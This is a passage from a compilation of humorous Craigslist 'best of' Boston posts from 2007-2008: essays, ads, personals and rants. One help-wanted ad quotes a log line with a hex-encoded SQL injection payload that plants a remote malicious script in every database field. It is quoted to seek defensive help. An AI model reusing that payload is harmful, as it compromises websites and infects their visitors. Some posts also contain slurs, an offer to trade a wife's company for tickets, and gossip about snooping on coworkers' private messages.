holes, and he’s not shy about himself or hung up in any way. He also plays dress up. Weekly. And usually twice on Saturday mornings. 4. He’s comfortable with his job. Mr. Crab pays him shit and he cares, never bitches. Never comes home and says to his pet snail “if that dude Squidward don’t get off my ass, I’m gonna kill him!” The pineapple is a harmonious place because Spongebob checks that shit at the door. 5. He manages his emotions. We’ve all seen Spongebob flip out. We’ve all seen chicks flip out. The difference is that Spongebob Squarepants STAYS FOCUSED. He may explode. His eyes may shrivel up like raisins. He might pull off his own legs and arms and beat himself with them in total panic and frustration. He never loses sight of what he’s flipping out ABOUT, though. Every girl I’ve ever met starts out being mad about the dish I just broke, or the amount of beer I may have drunk at her family reunion (we all need help through the hard times, my Lord, my Lord) but 15 minutes later it’s why haven’t we bought a house yet, why aren’t I home more, why aren’t I home less, why aren’t I more communicative, and what about those boobs I was staring at back in May of 2002. Do ya feel me, boys? 6. He’s devoted. Patrick is an idiot, but he finds a way to relate and have fun. Mr. Crabs is a jerk, but he gets past it and has a healthy work ethic. He’s maintained a healthy platonic relationship with a displaced female squirrel. Even Squidward, despite all his efforts to the contrary, has a neighbor he can count on any time day or night. (Aside: Squidward is a douche bag for not recognizing this) 7. He knows how to have a good time. Boy does he ever. He likes eating contests, farts, TV, singing, hiking, playing with his body, sports (did you see the snail race? better than Hoosiers), and just generally acting stupid and laughing about it. I’m telling you, he’s got to be totally awesome to hang out with. 8. He’s comfortable with his body. So he’s not the ideal shape. He’s a square. But he never complains. You’ll never hear the phrase “height-weight proportional” uttered from those yellow lips (anyway his height-weight proportion is geometrically perfect, a fact which I am sure can be proven mathematically). He don’t give a shit. He just buys the right clothes (square) and looks great and that’s the end of it. No endless questioning about why the universe shaped him the way he is. No internal battles. Just a simple square man with a healthy simple outlook. 9. He’s a virgin (I’d bet). You say experience means everything? I say bullshit. Comfort and communication trump experience every time. Working at your sex life is only possible in a situation dominated by these two traits and amplified by a sense of adventure. Spongebob has always demonstrated these characteristics. Now, what do you want? A willing accomplice or the trick somebody else taught? 10. He doesn’t drink, smoke or do drugs. Actually, I do enjoy the occasional cocktail or cigarette, and as you may have guessed, I have been known to puff it down a little and watch shows like, say, Spongebob Squarepants (WTF, what did you do this morning that was so important, Mr. Smartypants?), but the thing about our man Bob is that theses things don’t rule his life, and couldn’t you just imagine that first date at a bar? Somehow the idea of kicking two shots of Makers Mark back with Spongebob Squarepants is totally mesmerizing. You think he’d sit there and bitch about his exes? No way. He’s much more a load up the jukebox and kick up his heels on the bar kind of guy. He’ll take his lumps for it (case in point, the Motorhead bar in the movie, where the fascist biker dudes kick his ass but he comes out grinning) but I bet the night would be hilarious. Imagine him pulling in a big drag and blowing it out all his orifices. Imagine him talking to that drunken barfly you always see and making that old bitch laugh. You’d get to do all this shit with him for the first time. 11. He demonstrates good parenting skills. Did you see the episode where Spongebob and Patrick find a lost baby scallop and decide to raise it as their own? No?!? Well, allow me to elucidate. Patrick takes on the male role and he sucks at it. He sneaks off all day and night to watch TV at home while Spongebob, as the mother figure (complete with apron and heels), holds the family together. He does all the cooking, cleaning and baby-raising, all the while carrying an admittedly strained smile on his face. Not to say I’m looking for a wife to do it all and let me watch TV (um, hmm), it’s just that he demonstrates such strength and good humor. The episode ends with a happy, well-adjusted scallop flying off (?) into the sea-sky and a presumably happy well-adjusted scallop life. It’s not that Spongebob might make a good mom. Spongebob is a good mom. I’m sure you all are going to think I am a pedophile (why? Because I happen to be a little bit in love with a 6 year old boy cartoon character?) I’m sure you’ll all write me and tell me what a misogynistic jerk I am (just substitute the words “girl” for “boy” and “boy” for “girl” throughout and I’m sure my argument applies cross-genderally. There. Feel better, huge bull dykes with nothing better to do?) I’m sure I’ve sabotaged my e-mail account, but I wanted to do it. I’m in love, and people in love do and say stupid shit. <ul> <li> Location: Bikini Bottom <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-08-16T00:34:58-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/798916222.html Why Spongebob Squarepants is the perfect girl for me. text About a dog http://www.craigslist.org/about/best/bos/762808006.html I have a great dog. He's a little on the fat side, but he's really active. He's great with kids, unless they try to pull his nubby tail. He's really friendly to people who have food. He loves to have his teeth brushed, but is resistant to having his feet touched. He can smell a little doggy, and the tooth brushing does not appear to improve his breath, but I've smelled worse. When I read some of the things on this board, I wonder about other dogs out there and how they fare in the world. I'd just like to say the following: * I recently moved. I found an apartment that was in a great neighborhood in a building with other dogs and dog friendly folks.....this was because did a little work and looked for a place that was right for me and the dog, and stumbled over this fantastic place where I now live. * I recently got a new job that requires that I spend more time at work. I was worried that this would negatively affect my little pup, so I make an effort to get up earlier so that we can go for a good walk before I leave, and I arranged for someone to spend time with the little guy for a while during the day while I'm at work. My career chugs along and my little guy is still happy. * I live in a tiny, tiny apartment, but this does not negatively affect the dog in any way. Granted, he is a little guy, but the fact is that between walks before and after work, and extended play time outdoors in the evening, the size of the apartment doesn't hurt my pup's quality of life (or mine, for that matter). He has never chewed up anything I own, broken anything in the house, or done any damage to any structure that I have lived in. He does bark a bit when people walk by my kitchen window, but mostly that's because he's crazy. Or maybe because he thinks that everyone loves him and maybe that person wants to come in and pet him or give him a treat. I don't speak any dog, so I can't ask him. * I don't have a high paying job (or career, for that matter), so I don't have a lot of disposable cash, but I do have money saved in case the dog has a minor medical emergency, and the information for Care Credit in case he has a major medical emergency. * Admittedly, I don't have any kids (I am both unpleasant and squishy, which makes finding a baby daddy trialsome), but I distinctly remember having pets when I was a kid, and I have six brothers and sisters that my mom had to watch over. She seemed to do OK with seven kids and a dog, and while I find her an extraordinary human being, I don't think that she has any kind of pet-care superpowers. My dog makes me laugh and he cuddles up against me and he provides me with an opening to meet some very nice (and some very interesting) people when we're out walking and he hides under the blankets when it thunders and lets me feel like I'm soothing him and he brings me toys to play with when he gets bored and he rolls over in the grass and reminds me how much fun it is to be alive. He gives me all of this and more, and all I do is walk him, feed him, and play with him. I hope that all the people who post their dogs for adoption on this list have done every possible thing that they can do in order to keep it before they give up on themselves. I just want to say to all of you who think that it's too hard to take care of you pet: YOU CAN DO IT! Your pet believes in you, and I believe in you, too! <ul> <li> Location: Joysville <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-20T17:35:25-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/762808006.html About a dog text Web Security Consultant / Database Expert Needed over Weekend http://www.craigslist.org/about/best/bos/742662737.html We have a growing travel website that has been down for the past two weeks. We have been experiencing repeated attacks - sql injections that crash our database. Our developer has tried to fix this but has not been able to, due to time allotment, she works on a part-time basis and the fact that we can't restore database independently because of shared hosting environment/knowledge. We have been trying fixes but have not been able to do it yet. And our host has extremely limited availability to restore the db when it is crashes. So I would need someone to review our fixes, and show me or teach me how to fix this manually in the code and then copy the database and restore it myself, and then make sure we are tightened up and secure against other attacks. Let's discuss rates and capabilities. The sooner the better. Here is one of the hacks 41.232.166.49 - - [30/Jun/2008:17:02:38 +0000] "GET /filename.aspx?letter=A;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST (0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E737570706164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- HTTP/1.1" 200 Some posts about it <a href="http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/">http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/</a> <a href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html">http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html</a> <a href="http://www.microsoft.com/technet/security/advisory/954462.mspx">http://www.microsoft.com/technet/security/advisory/954462.mspx</a> <ul> <li> Location: Somerville <li> This is a part-time job. <li> This is a contract job. <li>Principals only. Recruiters, please don't contact this job poster. <li>Please, no phone calls about this job! <li>Please do not contact job poster about other services, products or commercial interests.</ul> webmaster@craigslist.org 2008-07-04T14:07:10-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/742662737.html Web Security Consultant / Database Expert Needed over Weekend text trade my hot wife for 2 celts tickets! http://www.craigslist.org/about/best/bos/711061927.html trade 1 night with my wife shes 5-4 105 brown hair eyes great body tanned toned very pretty girl 1 night all safe and normal stuff dinner movie drinks no drugs or crazy requests serious replies only must reply with a picture to be considered please normal guys only <ul> <li> Location: medford <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-07T10:45:25-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/711061927.html trade my hot wife for 2 celts tickets! text So you wanna get laid... http://www.craigslist.org/about/best/bos/702500968.html Let's face it: you wanna get laid. You're a single, straight 20-something / 30-something / middle-aged stud and it's been 3 days / 3 months / 3 years since you last had the pleasure of a naked woman in your futon / bed / parents' basement. Hey, you're a confident, classy guy. You deserve to find someone special--someone who is sexy, smart, and thin / thinner than you by 10 lbs / thinner than a woolly mammoth. Being a crafty fellow, you realize that the ultimate goal is not getting laid once, but multiple times (as often as possible!), and preferably with a woman who can stand your hairy back / hairy butt / hair plugs. Where else to go to find your Lady Love but Craigslist (or, if that doesn’t work, Adult Friend Finder)? You’ve been on CL M4W before, but haven’t had good results--too many baby-hungry / money-hungry / KFC-hungry ladies. This time, you vow, things will be different. This time, you decide to spend an extra 5 minutes / 5 hours / 5 days crafting your ad, choosing just the right words to capture your creativity / intelligence / obsession with Grand Theft Auto. You’re positive that this time, the 10 words / 10 paragraphs / 10 lists of random personal traits you wrote show the real you. You’ve taken care to hide your real weight / not mention your three ex-wives / avoid a desperate plea for sex. You even used spell check for typos! You click “publish” and your on you’re way--er, you’re on your way. Next morning, you wake up wondering who might have responded to your ad. Wow, you have five / fifteen / fifty messages in your inbox! Oops, some of them are from bots / men / Russian girls with pay-for-porn URLs. Oh, well, you still have two / three / five emails from real women. Dude! You crack open a Red Bull / beer / juice box and start cruisin. A few hours later, you have seen enough tramp stamps / saggy boobs / fugly hags (no offense, grandma-lady) to last a lifetime. And then you see it, the online dating holy grail: a response from a flirty-looking, smart-sounding cutie pie! Wow, she can write whole sentences. Even better, she is vegan / loves the Sox / has a decent rack. You reply back. This. Could. Be. It! You try not to get too excited, though. She could have crabs / a convicted felon ex-boyfriend / shitloads of debt she’ll expect you to pay. A few days later, you’re still corresponding with Cutie Pie. Being bold / bored / horny, you ask to meet up. “Sure thing!” she replies. “I love going out with guys from CL (wink wink).” You find her comments charming / annoying / indicative of a mental disorder, but you try to keep an open mind. You decide to meet at your favorite mall / Starbucks / bar. With your best non-smelly tee / dress shirt / Sox jersey and a dash of Old Spice / Brut / Ivory soap, you are looking hot. You arrive early. While you wait, you check out chicks / chug espresso / nurse a beer. Finally, she arrives--only 5 minutes / 15 minutes / 45 minutes late. Holy shit! She’s 10 times prettier / fatter / taller than you expected. Hey, it’s all good; you can roll with the punches. You sit down and order a smoothie / double-shot latte / Jack on the rocks and ease into conversation. After thirty minutes, you’re pretty sure Cutie Pie is dumber than rocks / into BDSM / one date away from suicide. You, of course, are your usual charming / clueless / monotone-voiced self, and being a gentleman, you wait another ten minutes / forty minutes / two seconds before making your excuses about having to leave. Oh, shit, she has that look in her eye, the one that says, “Hey, are we gonna continue this or what?” You would rather see her in your nightmares / in hell / in your bed, drunk and naked, but of course you can’t say that. Instead you say, “I had a great time. It was nice knowing, uh, meeting you. Best of luck with graduating from college / going to law school / working on a farm in Bolivia.” You head home, disappointed again: yet another night you’re not getting laid. Oh, well. At least you have Scrabulous / the Daily Show / your hand and some lotion to entertain you. Besides, you’re optimistic. Tomorrow, you’re going to post a profile on Match.com / e-Harmony / CL Worcester. Next time you’ll definitely get tail, you just know it. ********************* A huge RAVE to the thoughtful, charming, and yes, horny men who remain optimistic about dating on CL despite bad, crazy, or just awkward dates. Speaking from personal experience, women have it tough, but you have it much, much worse. For the record, not all CL women are bitches, bots or sloths; you just have to look hard to find us. -27/f <ul> <li> Location: Here, there, everywhere <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-05-31T14:32:54-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/702500968.html So you wanna get laid... text Free Man's Toupee http://www.craigslist.org/about/best/bos/573125488.html Only worn twice. From The House of Frank. Real human hair. Brownish blonde with a sprinkling of gray highlights. One size fits all. Can be trimmed to suit taste. Wash in washing machine, gentle cycle. No bleach. Looking for new owner because neighborhood dogs growl at me when I wear toupee. Also squirrels chase me down the street. Maybe you will have better luck. email for p/u.  <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-02-13T16:54:48-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/573125488.html Free Man's Toupee text How to write an effective missing connections post http://www.craigslist.org/about/best/bos/559104954.html Gazing From Afar… Be Specific There are 3 million people in Boston. Don't assume the person you think you missed a connection with saw you, let alone remembers you. Be specific! Name which train, which direction, the time, the street, the stop, the bar, their initials, hair color, eye color, embarrassing tattoo placement, the song that was playing on the Jukebox at the time... For God sake, people, be specific! You're trying to make the connection this time! Focus on Them You were wearing a brown jacket with beige trim and have black, slightly highlighted hair, swooping three inches to the left? That's great, but what were they wearing? You noticed them. How do you expect them to know you're looking for them if you can only talk about yourself? Be Brief Keep it short and sweet. Nobody wants to read a dissertation about the person you think you might have possibly made eyes at on the T. Get in and get out. Pay a Compliment You've been thinking about this person long enough to get on the Web and type something up, so take the time to make your compliment count. Most girls don't want to hear, "Your ass looked so damn fine." You are trying to get her to write you, remember? People tend to like words like "beautiful", “handsome”, "breathtaking", "gorgeous". If you're at a loss, check a Thesaurus [see also: dictionary.com]. Write Properly This is your second chance at a first impression. Don't blow it with bad grammar. If you're too lazy to hit the Shift key every now and then, at the very least, make the effort to type out full words, write in complete sentences, and punctuate. And for God sake, stop screaming. Don't Beg Yes, we know you'd love to talk to this person. We know, because you just spent (hopefully only) a couple sentences explaining who they are and why you noticed them. If you did a good job with this, it really isn’t necessary to reiterate that you'd love to talk. That is why you filled out the e-mail form at the bottom of the page. Be Charming or Clever Chances are good that they didn’t notice you the first time, but if you’ve done a good job describing them, and are charming, cute, or clever enough in your delivery, you still have a shot in hell that they might contact you anyway. And if they did notice you the first time, a little charm never hurt anyone. We Talked, But I Was Too Shy… What did we talk about? Mention something memorable you said, because the person you spoke with may have talked to a lot of people that night. Our Time Has Passed, But… Be Specific If random spottings on the streets of Boston need specificity, it’s possible that it’s even more crucial here. Many people have experienced bad breakups. Many people are missing someone or are hoping they are missed. Vagueness is not endearing here. Use the person’s initials and mention at least one thing that only the intended person would recognize or know about. The downside to not being specific enough here is that everyone will think it’s about them, which brings us to… Don’t Start a Conversation You shouldn’t need to start an ongoing conversation in order to figure out whether or not you are the intended receiver of the missed connection. These can go on for pages, and are frankly annoying. Follow step one and you won’t need step two. If you are the intended receiver of the missed connection, there are e-mail links included for a reason. Use them. I Gave You My Number, But You Never Called This isn't a missed connection. This is tough shit.   <ul class="blurbs"> <li> Location: porter square <li> it's ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-02-01T00:08:20-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/559104954.html How to write an effective missing connections post text Getting paid to use Craigslist? Hell yes. http://www.craigslist.org/about/best/bos/555888139.html So I've been chatting with the IT guy here, standard IT cat: long hair in a pony tail, survives on junk food, into shit like dressing up like a knight (or dragon) with like minded pals on the weekend, RedHat Linux gets his cock hard (his enthusiasm for this is similar to mine when discussing the finer points of a Jake Malone flick) and he posseses a severe collection of porn (some of it hentai...which makes no sense---to me at least....). An interesting and brilliant dude, he wields more power over the workings of the office than any of the other wage slaves and our pig-oppressor masters. I dig this guy, and find the way he handles these over paid, over educated fools to be genius. He and I became quick friends, and though we are nothing alike, we share our disdain for the *leadership* of this dump; an appreciation for stellar weed, and the endless enjoyment/entertainment of the absurd circus some call *work*. Anyway, I had questions about the network here, and the measures he and his charges take to ensure the "integrity" of the internet traffic. He offered an interesting perspective on the way the various creeps here use (and abuse) the network. He, in confidence, shared that he has viewed inter office e-mail between married people that are fucking (not their wives or husbands), junior associates that are very single who are swallowing the goop-seed of very senior partners (who are very unsingle), and long trails of yahoo chat sessions that he has followed real time for hours on end. One excellent yahoo chat included a guy jerking off on his web cam for a colleague of mine.........a guy. Now the latent homosexuality of this web cam show doesn't bother me (I hate everyone equally), rather, the guy I work with acts like uber hetero man. I guess he's not. I'll stay on his good side until after the Super Bowl, as he acts as the office bookie, when not watching creeps jerk off on their cams. IT dude has been instructed to not do much on this front, and has been given marching orders to look primarily for industrial espionage, specifically, issues related to client confidentiality, which apparently, is a complex concept for certain peers. Some of these peers specialize in very complex issues of this nature, however, in the office, this seems to not apply to their electronic communication----. He implied, though did not state, that there were potential terminations associated with such issues. 2008 promises to be an interesting year if the binary tid-bits continue to fly at this rate, pace and tenor. So, as pony tailed IT man and I discussed this, he related that he digs my CL posts (at least someone does), and that within the IT group my thoughts concerning chicks, fist fights, vicious localism, systematic murder of paedophiles, terrorists, and the best places for sweetbread and/or hand jobs, resonates with the socially challenged that populate his staff. In fact, one recent screed (concerning women's insatiable appetite for assholes) landed one of his tech-terrorists in trouble with his wife. This Junior IT cat applied (incorrectly) the most salient points of one such essay. Apparently, he started demanding his favorite meals and sexual favors, in direct conflict with my cogently clear instructions. I suspect the whole calculus of assholedom, related to females, changes when you've tied the marriage knot. He's on thin ice. That post DID come with a disclaimer...he chose to ignore it. I have come to the conclusion that those of us that post, or merely lurk, are actually providing our employers a better days work than those that subscribe to the other diversions that plague the office work culture. Another example, there is a woman that sits adjacent to me who is continually getting up and leaving the office for her car (she claims). She comes back twenty minutes later refreshed, reeking of freshly deployed perfum and ready to concentrate for a couple of hours before her next "car visit." This chick keeps insane hours and works like a fiend; I suspect she is one of those professional tweekers. She will crash soon. Her work is of high quality, and I dig her, though her phrenetic pace and sudden loss of weight is alarming. I have seen pictures of her from her college years, she was quite appealing. Time has been unkind to her---though I am certain, most of you posting your confessions would fuck her. Yet more examples: In this office we have a number of on-going salacious affairs. These folks are sneaky, but their predictable behaviors betray their intention. They stagger their departures to lunch, plan their exits curiously, and fool most of the people here, though not me or my IT colleague. The best thing about these trsyt-risk takers is the awkward ways these participants tip toe around the annual office shin digs where families show up, this year's was no exception. I went only to watch these little dances. Perhaps those observations are worth sharing, if for no other reason, this information could act as a "This is not what you do if you want to keep your affairs hidden" type of guideline..... The amount of time these (literal) fuckers use to plan their trips to the no-tell-motel must be countless. I guess they are getting paid to fuck, which I suppose is good..... Though hardly worth the longterm risks. So while the others in the office are powdering their noses, blowing their *mentor* or trying to seduce some chick (or dude) on yahoo chat, we sitting here at our desks writing/reading/flagging this garbage are actually entirely accessible, and capable of not only appearing to be busy, but also doing actual work while scribbling this crap. Conclusion: Those of us, condemned to life behind a desk, have earned the right to Craigslist....   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-29T15:16:26-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/555888139.html Getting paid to use Craigslist? Hell yes. text The CL R &amp; R Football Post-Game Show http://www.craigslist.org/about/best/bos/546154873.html It’s that time of year again when football is winding to a close and CL Rants & Raves can return to its normal dysfunction. Yeah, yeah, I know there is still the Superbowl, but after that it’ll be smooth sailing. So, in honor of surviving another season of football postings on CL coming to a close, I give you the Top reasons why CL posters everywhere should breathe a collective sigh of relief: 1) No more homophobic or colorful slurs used to trash-talk opposing teams fans. For at least another year, the words Fudgepackers, Gaytriots, Foreskins, Seafags, Cowballs, etc. will not be used. But on a side note, the football fans that DO post such comments should just come out of the closet already. For the love of God it’s 2008 already. Me thinks you doth protest too much! 2) No more armchair weather experts. Yes, it is sunny and warm in San Diego, Florida, Arizona, etc. in January & yes, it snows in Pittsburgh, Massachusetts, Wisconsin, etc. Somehow trash-talking has oddly spun off into which state has, um…weather. Let’s face it, if it snowed in San Diego and was 80 degrees in the Northeast in January Al Gore wouldn’t only have a Nobel Peace Prize, he’d be friggin ordained a Saint by the Pope himself. So whether you’re sledding or catchin’ some rays on the beach, it doesn’t mean your team will win. Now if we’re talking upper air troughs, that’s a whole new bag. 3) No more early posts during a game. Ex.: It’s 7 minutes into the 1st quarter & football fans feverishly post on the opposing teams R & R, oh, something along the lines of “LOOK WHO’S WINNING NOW YOU PATHETIC DOUCHBAG PANSY ASS LOSERS WHO LIVE IN LOSERVILLE. GO BACK TO (insert city of opponent’s team to make fun of here) & CRY TO YOUR MOMMY’S.WHAAAAAAAAAAAAAAAAAAA,” only to have the ball intercepted and the other team score a TD before you can finish typing. There is help for premature ejaculation, please seek help for premature posting. 4) No more stereotyping of cities & the people who live there. For example: “Go back to your homeless mess of a beatnik town & play your grunge music you #$&%.” = a football fan who wants Seattle to lose. Or, “Your wife, oops, I mean cousin is calling you to come out and shuck corn you toothless inbred.” = a football fan who wants to see Indianapolis lose. I’d say “Can’t we all just get along?” but that’s such an overused cliché so instead I’ll just say, “It is what it is.” (& what it IS is making you look like morons). 5) No more excuses for a team losing by posting, “The refs were against us” or “Injuries left us vulnerable”. Two of these quotes are just like the other. (Insert Sesame Street music here) Football fans referring to a team as “us”. Unless you’re out on the field going for a 4th & 1 or just sacked a QB, you are not “us”. (Use of sentences that use the words “our team” or “we won” also apply). 6) No more football fan posting on another city’s board 73 days after the game was played STILL posting just to remind the opposing team’s fans that, yes, “your” team won & asking how it feels to be “PATHETIC DOUCHEBAG PANSY ASS LOSERS…you get the point.” 7) And last but not least, no more posts that are so vile they make Hannibal Lecter look like Ghandi. For those of you who felt the need to back up your teams ability to win by making fun of, or posting pictures of, 9/11, black people being lynched, Redskins player Sean Taylor’s death, the Rhode Island fire, etc. I bid you farewell and a big FUCK YOU!! So there you have it. I know I’ve missed a few but I think that pretty much covers it. So to all of you football fans who posted any of the above, it’s been a long, hard fought football season on CL R & R’s everywhere. But if it’s any consolation I hope you can take comfort in the fact that you lived up to your posts…& succeeded in making this CL poster pray every night that you have not yet brought kids into this world because the thought of any of you helping to form a young mind scares me more than being abducted and thrown into a basement (hopefully not yours) where a serial killer is making meat helmets out of their victims. And one more thing…IT’S LOSE NOT LOOSE!!!!   <ul class="blurbs"> <li> Location: The world... <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-21T02:09:50-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/546154873.html The CL R &amp; R Football Post-Game Show text Intelligent atheist white man seeks sweetie http://www.craigslist.org/about/best/bos/533096562.html I'm a single atheist white man, 54, reputedly intelligent, with unusual interests in politics, science, music and dance. I'd like to meet a woman with varied interests, curious about the world, comfortable expressing her likes and dislikes (I hate struggling to guess), delighting in her ability to fascinate a man and in being loved tenderly, who values joy, truth, beauty and justice more than "success"--so we can share bouts of intense, passionately kind awareness of each other, alternating with tolerant warmth while we're absorbed in other aspects of life. My 23-year-old child, the Free Software Movement, occupies most of my life, leaving no room for more children, but I still have room to love a sweetheart if she doesn't need to spend time with me every day. I spend a lot of my time traveling to give speeches, often to Europe, Asia and Latin America; it would be nice if you were free to travel with me some of the time. Reply and we'll see where it leads. <img src="533096562.jpg">  <ul class="blurbs"> <li> Location: Boston <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-08T23:45:56-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/533096562.html Intelligent atheist white man seeks sweetie text An apology to the Ayn Rand man - w4m http://www.craigslist.org/about/best/bos/471214557.html Ayn Rand man, I would like to apologize for a few things. To begin with, I am sorry that I did not state in simpler words, when you asked why Ayn Rand was shelved in the fiction section instead of the philosophy section, that the Fountainhead is a novel. After I took you to the philosophy section to show you her absense in person, you began to explain your personal theories to me. You explained to me that Ayn Rand is the first person to radically change philosophy in history. You explained to me, in a soft, intimate voice, that capitalism should in fact be called "liberalism," due to the fact that it comes from the French word for "free," and that capitalism makes us free. I would like to apologize at this point for the fact that my employer prevents me from engaging in political or philosophical discussions with customers, because instead of nodding quietly, at this point, what I really should have done was point out that liber actually comes from Latin, from which both the French and English words are derived. I also apologize for not explaining that capitalism actually falls under the subject of economics. You continued on to explain that although you do not have a degree in philosophy, you teach this theory to businessmen. So I would also like to apologize for not explaining that I do actually have a degree in philosophy and would be able to clear a few things up for you; also for not mentioning that while I'm sure businessmen who regularly screw the little guy over for money in the name of capitalism are happy to learn it's actully in the name of freedom, and that I'm sure you also enjoy the benefit of the freedom your large salary entitles you to, it does not actually constitute a revolution in the philosophical world. It was only when you went on to explain to me that it is only now, through Ayn Rand, that philosophy has started to be "taken seriously as a science" and is no longer "useless," that I really began to regret this missed opportunity to engage in discussion. So, for all these reasons, man with the Ayn Rand obsession, I aplogize profusely.   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-11-06T21:56:25-05:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/471214557.html An apology to the Ayn Rand man - w4m text Red Sox Special - (Free) Big Poopie http://www.craigslist.org/about/best/bos/462463318.html My horse, who happens to be a huge Red Sox fan (his favorite player is Big Poopie), has created a delightful pile of crap and we are looking for a good home for this treasure. I will be glad to load all the manure you want into your truck or trailer and you can come back again and again for more. The manure is mixed with clean pine shavings and is partly composted already. Don't miss out on such a great deal. Go Sox!   <ul class="blurbs"> <li> Location: Topsfield <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-10-28T21:02:02-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/462463318.html Red Sox Special - (Free) Big Poopie text Hornets Nest http://www.craigslist.org/about/best/bos/395481455.html Somebody out there must collect these things. We're remodeling and we came across this German Yellowjacket/wasp nest in a part of the house we just stripped to the siding. It's big about 2X2 - it seems empty. Kinda pretty, no? There has to be some grad student, entomologist, Dale Gribble out there who wants this thing. And the wiring is absolutely dead. P.S. This is Craigslist - not a chat. I really don't need to hear from you if _you_ don't want it. <img src=395481455.jpg>  <ul class="blurbs"> <li> Location: Pepperell, MA <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-08-12T19:10:37-04:00 Copyright 2009, craigslist.org http://www.craigslist.org/about/best/bos/395481455.html Hornets Nest text Through being cool http://www.craigslist.org/about/best/bos/367672638.html I grew up in Australia. Australian men generally accept masculinity far better than American men, and I understand why this is. In every country on earth where boys play, there is a ritual of selecting members of each team, whether the game is soccer, cricket, football, baseball, kickball, mammoth-hunting, what have you. Most boys, at some time, have experienced the humiliation of being picked last, and it hurts. Even being picked second-last is much more tolerable than being picked last. It hurts— what is important, and culturally distinct, is how the boy deals with that pain and humiliation, when he's the one picked last. In Australia, boys strive to be an asset to the team that picks them. They actually care more about how their team does than how they feel. This isn't ego annihilation, and it's not fascism. While playing the game, the game is what's important, not one's own petty issues. If a boy can table his own issues sufficiently to make a good catch, or kick a goal, he'll get picked sooner next time. He knows this. It's a question of priorities: the team wants to win, and they will pick those kids who will make it more likely that their team will win. How each individual feels during this process is irrelevant to the overall goal. Be dependable, be an asset to the team, and the rest of the team will take care of you. In Australia, there is the concept of mates. The word loosely translates as "friend", but the truth is that Americans lack the concept completely. Your mate has your back, and you have his. Your mates help define you, and accept you unconditionally. Once you're in, you're in for life. It's not easy to get in. When I was nine, I had a kid who used to annoy me mercilessly on the playground. One day, I had had enough of his picking on me, and I knocked him over with a punch. He got up, shook himself off, and shook my hand. "We're having a party this weekend. Here's where it is." I was still really angry, and I didn't immediately understand what he was doing. He wanted to know that I would stick up for myself when provoked. He needed to know if, after he was my mate, I'd stand up for him. Once he found out that I'd stand up for myself, I was in. At that party, everyone there treated me like a mate, and I felt more included than I ever did before, and I never got selected last for any game again at that school. American boys don't have this. The best have a much weaker version of this, but the commitment is conditional and halting, the bonds constantly tested by vicious games of conformity and obedience. Maybe men at war have the real thing, but I have no experience of this. Coming back to the USA, I had to teach my male friends to be mates, and it never came naturally to any of my new friends. I have American mates now, some of whom I've been friends with for twenty years, but it took an enormous amount of work, and included really rocky periods, and a lot of struggle. New people I meet, especially younger people, have no understanding of what it means to be a mate. Friendships, especially among young people, are temporary, fleeting, strategic. They exist in order to jockey for social position. American men seem treacherous, insecure, and ungrounded in comparison to Aussie men. It's killing us as a society. It's one of the great tragedies of our time. When an American boy gets picked last at a game on the playground, he gives up on ever being selected by the other boys, except last. He retreats into self-pity and misanthropy. This is encouraged by the adults, especially his parents, doubly especially when his dad made the same choices about being picked last himself. This boy tries to create a new playing field where he is the top of the selection. Because he knows he cannot compete on the playing field, he tries to compete in intellectual pursuits, or in a fantasy world, or in fandom. He collects comic books, or plays Dungeons & Dragons, or plays video games. Maybe he learns science, or literature, or art, or music. It never occurs to him to strive to improve himself, to make himself an asset to the team that might choose him. It never occurs to him that a drama is unfolding on a level bigger than that 